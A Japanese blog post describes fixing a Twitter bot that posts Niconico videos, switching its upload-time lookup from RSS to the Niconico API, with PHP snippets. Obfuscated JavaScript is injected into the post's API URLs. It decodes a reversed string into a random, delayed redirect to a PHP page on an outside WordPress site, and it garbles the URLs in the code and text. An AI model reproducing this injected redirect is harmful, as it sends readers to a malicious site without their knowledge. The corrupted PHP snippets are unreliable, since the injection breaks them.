meiko_bot 投稿時間の取得を失敗していたため修正

twitterで稼働させているmeiko_botの修正しました。

meiko_botはこちらです。
https://twitter.com/#!/meiko_bot

ニコニコ動画で投稿された作品をRSSによるタグ検索で取得していました。
その中に投稿日時が入っていたのですが、出力される形式が変わっていて取得できなくなっていました。

XML形式で出力されていますが、タグの構造が変わっていたために取得元データなしの状態になっていたということです。

今回はRSSで出力される情報ではなく、ニコニコ動画が提供しているAPIから投稿日時を取得するように変更しました。
もともと動画のタグ情報をニコニコ動画のAPIから取得していたので対応は簡単。

APIでは、以下のようなURLによって、結果がXML形式で帰ってきます。
/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}/*]]>*/andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/sm17281404″ target=”_blank”> http://ext.nicoviandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/sm17281404

こんなソースになります。
$nicoadは動画のIDになります。

$nicoapi_url = “http://ext.nicoviandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/”;
$nikoapi_dougaid = str_replace(“http://www.nicoviandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/”,””,$nicoad);
$nicoapi_xml = simplexml_load_file($nicoapi_url.$nikoapi_dougaid);


結果は以下のような感じで戻ってきます。



上記の結果をもとに、投稿日時としてfirst_retrieveの部分を取得します。
ただし、「2012-04-21T18:22:50+09:00」のような形式にになっているのでmm月dd日 HH時mm分の形式となるように整形しています。
(固定長っぽいので、原始的に桁区切りで整形しています)

$douga_date = $nicoapi_xml->thumb->first_retrieve[0]; //投稿日時
$nico_regdate = intval(mb_substr($douga_date,5,2)).”月”.intval(mb_substr($douga_date,8,2)).”日”.intval(mb_substr($douga_date,11,2)).”時”.intval(mb_substr($douga_date,14,2)).”分”; //整形

テスト用のアカウントで動作確認。
0月0日0時0分になっていたのが、正しく表示されるようになりました。


謝辞
正しく処理されていない状態になっていることを教えてくれた、かきにゃん@柿太郎さん、ありがとうございました。

追記
2012/4/22 10:14
meiko_botが投稿日時なしでつぶやいていたので、なんでかと思ったら、修正版をアップしてなかった。だめすぎるorz
今度こそ、アップロードしました。

コメントを残す